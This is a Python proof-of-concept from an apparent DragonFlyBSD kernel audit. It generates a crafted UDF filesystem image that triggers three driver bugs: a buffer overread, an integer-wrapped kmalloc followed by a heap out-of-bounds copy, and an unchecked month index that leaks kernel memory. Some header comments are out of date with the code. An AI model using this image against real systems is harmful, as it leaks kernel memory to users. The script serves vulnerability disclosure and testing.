⬢ DragonFlyBSD Kernel Audit
DF-3103 / craft_img.py
← back to finding ↓ download raw
#!/usr/bin/env python3
# DF-3102 / DF-3103 / DF-3104 -- crafted UDF image generator (pass 2).
#
# Extends the DF-0831 skeleton (same proven minimal ECMA-167/UDF structures,
# same working udf_checktag checksums) with three test files:
#
#   F1   (part-sector 2):  regular file, ONE short_ad extent
#          {len=4096, pos=4} (exactly two 2048-byte blocks, block-aligned),
#          inf_len=4096.  Data: sector 4 = ASCII pattern, sector 5 = 0xAA.
#        -> DF-3102: pread(fd, 2048, offset=1000): udf_readatoffset()
#           (sys/vfs/udf/udf_vnops.c:1017-1059) clamps *size to
#           min(resid, max_size, MAXBSIZE) but NOT to
#           bsize - (offset % bsize), and then sets
#           *data = &bp->b_data[offset % bsize] (:1057) while
#           udf_readlblks() (udf.h:96-100) only bread()s
#           roundup(*size, bsize) = 2048 bytes.  uiomove(data, 2048)
#           therefore reads 1000 bytes PAST the end of the 2048-byte
#           buffer-cache buffer into userspace.
#
#   EMB  (part-sector 3):  regular file with icbtag.flags&7 == 3 (data
#          embedded in the FE), l_ea = 0x1000, l_ad = 0xFFFFF150 so that
#          udf_vget() (sys/vfs/udf/udf_vfsops.c:527) computes
#          size = 176 + l_ea + l_ad = 0x100000200 -> truncated to int 0x200
#          -> kmalloc(512), and udf_readatoffset()'s embedded path
#          (udf_vnops.c:1037-1039) then uses *data = &fentry->data[0x1000]
#          (~3.7 KB past the 512-byte allocation) with
#          *size = (int)0xFFFFF150 = -5936, which udf_read() passes to
#          uiomove() as (size_t)-5936 -> moves uio_resid bytes from
#          out-of-bounds kernel heap.
#
#   T10..T31 (part-sectors 6..27): regular files, no data, whose FE mtime
#          carries year=2020 (leap), month = 10..31, day=1.
#        -> DF-3104: udf_timetotimespec() (udf_vnops.c:267-268) indexes
#           mon_lens[lpyear][i] for i = 1..month-1 with no month <= 12
#           check; month 13+ (leap row) reads flat words mon_lens[0..][24+]
#           -- kernel .data past the 2x12 int array -- and the summed
#           garbage is observable via stat() st_mtime differences.
#
# Layout (2048-byte sectors, part_start = 64):
#   16..18   VRS (BEA01/NSR02/TEA01)
#   32..34   MVDS (PVD/PD/LVD)
#   64+0     FSD (rootdir_icb -> part-sector 1)
#   64+1     root File Entry (dir, short_ad, one extent {2048, pos=40},
#            inf_len = 1096)
#   64+2     F1 File Entry
#   64+3     EMB File Entry
#   64+4     F1 data sector 0 (pattern)     \  extent {4096, pos=4}
#   64+5     F1 data sector 1 (0xAA fill)   /
#   64+6..27 T10..T31 File Entries
#   64+40    root directory extent (FIDs, all 4-byte aligned totals:
#            parent@0(38->40), F1@40(41->44), EMB@84(42->44),
#            T10..T31 @128.. (42->44 each) -> end exactly at 1096)
#   256      Anchor VDP
import struct, sys

BSIZE    = 2048
PART_ST  = 64
PART_LEN = 448
SECTORS  = 512
PART_NUM = 0

TAGID_PVD, TAGID_ANCHOR, TAGID_VOL, TAGID_PARTITION, TAGID_LOGVOL = 1, 2, 3, 5, 6
TAGID_TERM, TAGID_FSD, TAGID_FID, TAGID_FENTRY = 8, 256, 257, 261

def tag(tid, loc, crc=0, crc_len=0, ver=2, serial=0):
    b = bytearray(16)
    struct.pack_into("<HHBBHHHI", b, 0, tid, ver, 0, 0, serial, crc, crc_len, loc)
    ck = 0
    for i in range(15):
        ck = (ck + b[i]) & 0xFF
    ck = (ck - b[4]) & 0xFF
    b[4] = ck
    return bytes(b)

def sector(buf):
    b = bytearray(buf)
    if len(b) < BSIZE:
        b.extend(b"\x00" * (BSIZE - len(b)))
    return bytes(b[:BSIZE])

def regid(s):
    s = s.encode() if isinstance(s, str) else s
    return bytes([0]) + s[:23].ljust(23, b"\x00") + b"\x00" * 8

def charspec():
    return b"\x00" + b"OSTA Compressed Unicode".ljust(63, b"\x00")

def ts(year=2024, month=5, day=1):
    # struct timestamp: type_tz u16, year u16, month u8, day u8, hour, min,
    # sec, centisec, hund_usec, usec  (all u8 after month/day)
    b = bytearray(12)
    struct.pack_into("<HH", b, 0, 0, year)   # type_tz=0 (no tz adjust)
    b[4] = month; b[5] = day
    b[6] = 12; b[7] = 0                       # 12:00:00
    return bytes(b)

def vrs_entry(ident):
    b = bytearray(BSIZE)
    b[0] = 0
    b[1:6] = ident.encode() if isinstance(ident, str) else ident
    struct.pack_into("<H", b, 6, 0x0201)
    return bytes(b)

def anchor():
    b = bytearray(BSIZE)
    b[0:16] = tag(TAGID_ANCHOR, 256)
    struct.pack_into("<II", b, 16, 5 * BSIZE, 32)
    struct.pack_into("<II", b, 24, 5 * BSIZE, 32)
    return bytes(b)

def pvd():
    b = bytearray(BSIZE)
    b[0:16] = tag(TAGID_PVD, 32)
    struct.pack_into("<II", b, 16, 1, 1)
    b[24:56] = b"DF3102DISK".ljust(32, b" ")
    struct.pack_into("<H", b, 56, 1)
    b[64:192] = b"DF3102VSET".ljust(128, b" ")
    b[192:256] = charspec() + charspec()
    return sector(b)

def pd():
    b = bytearray(BSIZE)
    b[0:16] = tag(TAGID_PARTITION, 33)
    struct.pack_into("<I", b, 16, 1)
    struct.pack_into("<H", b, 20, 1)
    struct.pack_into("<H", b, 22, PART_NUM)
    b[24:56] = regid("+FDC01")
    struct.pack_into("<I", b, 184, 1)
    struct.pack_into("<I", b, 188, PART_ST)
    struct.pack_into("<I", b, 192, PART_LEN)
    return sector(b)

def lvd():
    b = bytearray(BSIZE)
    b[0:16] = tag(TAGID_LOGVOL, 34)
    struct.pack_into("<I", b, 16, 1)
    b[20:84] = charspec()
    b[84:212] = b"DF3102LOGVOL".ljust(128, b" ")
    struct.pack_into("<I", b, 212, BSIZE)
    b[216:248] = regid("*OSTA UDF Compliant")
    struct.pack_into("<I",  b, 248, BSIZE)
    struct.pack_into("<IH", b, 252, 0, PART_NUM)
    struct.pack_into("<H",  b, 258, 0)
    struct.pack_into("<I",  b, 260, 0)
    struct.pack_into("<II", b, 264, 64, 1)
    b[272:304] = regid("*DragonFly BSD")
    b[304:432] = b"\x00" * 128
    struct.pack_into("<II", b, 432, 0, 0)
    b[440] = 1; b[441] = 6
    struct.pack_into("<HH", b, 442, 0, PART_NUM)
    return sector(b)

def fsd():
    b = bytearray(BSIZE)
    b[0:16] = tag(TAGID_FSD, 0)
    b[16:28] = ts()
    struct.pack_into("<HH", b, 28, 3, 3)
    b[48:80] = charspec()
    b[80:208] = b"DF3102LOGVOL".ljust(128, b" ")
    b[208:272] = charspec()
    b[272:304] = b"\x00" * 32
    struct.pack_into("<I",  b, 400, BSIZE)
    struct.pack_into("<IH", b, 404, 1, PART_NUM)   # rootdir_icb -> part-sec 1
    struct.pack_into("<H",  b, 410, 0)
    struct.pack_into("<I",  b, 412, 0)
    b[416:416 + 32] = regid("*OSTA UDF Compliant")
    return sector(b)

def icb_tag(file_type, flags):
    b = bytearray(20)
    struct.pack_into("<I",  b, 0,  0)
    struct.pack_into("<H",  b, 4,  4)               # strat_type 4
    struct.pack_into("<H",  b, 8,  1)               # max_num_entries
    b[11] = file_type
    struct.pack_into("<IH", b, 12, 1, PART_NUM)
    struct.pack_into("<H",  b, 18, flags)
    return bytes(b)

def file_entry(pr_sec, file_type, flags, l_ea, l_ad, inf_len, logblks,
               mtime=None, ads=()):
    b = bytearray(BSIZE)
    b[0:16]  = tag(TAGID_FENTRY, pr_sec)
    b[16:36] = icb_tag(file_type, flags)
    struct.pack_into("<I", b, 36, 0)                # uid
    struct.pack_into("<I", b, 40, 0)                # gid
    struct.pack_into("<I", b, 44, 0x0007)           # perm -> other rwx
    struct.pack_into("<H", b, 48, 1)                # link_cnt
    struct.pack_into("<I", b, 52, 0)                # rec_len
    struct.pack_into("<Q", b, 56, inf_len)          # inf_len
    struct.pack_into("<Q", b, 64, logblks)          # logblks_rec
    t = mtime if mtime else ts()
    b[72:84]   = t                                  # atime
    b[84:96]   = t                                  # mtime
    b[96:108]  = t                                  # attrtime
    struct.pack_into("<I", b, 108, 1)               # ckpoint
    b[128:160] = regid("*DragonFly BSD")
    struct.pack_into("<Q", b, 160, 0)               # unique_id
    struct.pack_into("<I", b, 168, l_ea)
    struct.pack_into("<I", b, 172, l_ad)
    off = 176
    for (alen, apos) in ads:                        # short_ad list
        struct.pack_into("<II", b, off, alen, apos)
        off += 8
    return sector(b)

def fid_desc(file_char, l_fi, l_iu, dstring, icb_lb):
    body = bytearray(38 + l_iu + l_fi)
    body[0:16] = tag(TAGID_FID, 0)
    struct.pack_into("<H", body, 16, 0)
    body[18] = file_char
    body[19] = l_fi
    struct.pack_into("<I",  body, 20, BSIZE)
    struct.pack_into("<IH", body, 24, icb_lb, PART_NUM)
    struct.pack_into("<H",  body, 30, 0)
    struct.pack_into("<I",  body, 32, 0)
    struct.pack_into("<H",  body, 36, l_iu)
    body[38 + l_iu:38 + l_iu + l_fi] = dstring
    return bytes(body)

def root_dir_extent():
    # FID placement must mirror the kernel's 4-byte alignment advance:
    #   parent @0   total 38 -> next 40
    #   F1     @40  total 41 -> next 84
    #   EMB    @84  total 42 -> next 128
    #   T10..T31 @128+44k  total 42 -> next 128+44*22 = 1096 == inf_len
    buf = bytearray(BSIZE)
    fids = []
    fids.append((fid_desc(0x08 | 0x01, 0, 0, b"", 1), 38))
    fids.append((fid_desc(0x01, 3, 0, b"\x08F1", 2), 41))
    fids.append((fid_desc(0x01, 4, 0, b"\x08EMB", 3), 42))
    fids.append((fid_desc(0x01, 5, 0, b"\x08EMB2", 28), 43))
    for i, n in enumerate(range(10, 32)):
        nm = ("T%d" % n).encode()
        fids.append((fid_desc(0x01, 4, 0, b"\x08" + nm, 6 + i), 42))
    off = 0
    for f, tot in fids:
        buf[off:off + len(f)] = f
        off += (tot + 3) & ~3
    assert off == 1140, off
    return bytes(buf), off

def f1_sector0():
    b = bytearray(BSIZE)
    for i in range(0, BSIZE, 32):
        struct.pack_into("<16sI", b, i, b"DF3102-S0-DATA-", i)
    return bytes(b)

img = bytearray(SECTORS * BSIZE)
def put(sec, data):
    img[sec * BSIZE: sec * BSIZE + BSIZE] = data[:BSIZE]

put(16, vrs_entry("BEA01")); put(17, vrs_entry("NSR02")); put(18, vrs_entry("TEA01"))
put(32, pvd()); put(33, pd()); put(34, lvd())
put(64 + 0, fsd())

# root FE: directory, one extent {len=2048, pos=40}, inf_len = dir bytes used
rde, dir_len = root_dir_extent()
put(64 + 1, file_entry(1, 4, 0, 0, 8, dir_len, 1, ads=[(2048, 40)]))

# F1: regular file, one extent {len=4096, pos=4} (two full blocks)
put(64 + 2, file_entry(2, 5, 0, 0, 8, 4096, 2, ads=[(4096, 4)]))
# EMB: embedded (flags&7==3), l_ea+l_ad chosen to wrap udf_vget's int size
#   176 + 0x1000 + 0xFFFFF150 = 0x100000200 -> int 0x200 (512-byte kmalloc)
put(64 + 3, file_entry(3, 5, 3, 0x1000, 0xFFFFF150, 0x10000, 1))
# F1 data
put(64 + 4, f1_sector0())
put(64 + 5, b"\xAA" * BSIZE)
# EMB2: embedded with l_ea = 0x40000000 (1 GB past the 512-byte fentry)
#   176 + 0x40000000 + 0xC0000140 = 0x100000200 -> int 0x200 (512-byte kmalloc)
put(64 + 28, file_entry(28, 5, 3, 0x40000000, 0xC0000140, 0x10000, 1))
# T10..T31 FEs: year=2020 (leap -> lpyear row 1), month = 10..31
for i, n in enumerate(range(10, 32)):
    put(64 + 6 + i, file_entry(6 + i, 5, 0, 0, 0, 0, 0, mtime=ts(year=2020, month=n, day=1)))
# root dir data
put(64 + 40, rde)
put(256, anchor())

out = sys.argv[1] if len(sys.argv) > 1 else "df3102.udf"
with open(out, "wb") as f:
    f.write(img)
print("wrote %s: %d bytes (%d sectors); dir_len=%d; "
      "EMB alloc wraps: 176+0x1000+0xFFFFF150 -> int 0x200" %
      (out, len(img), SECTORS, dir_len))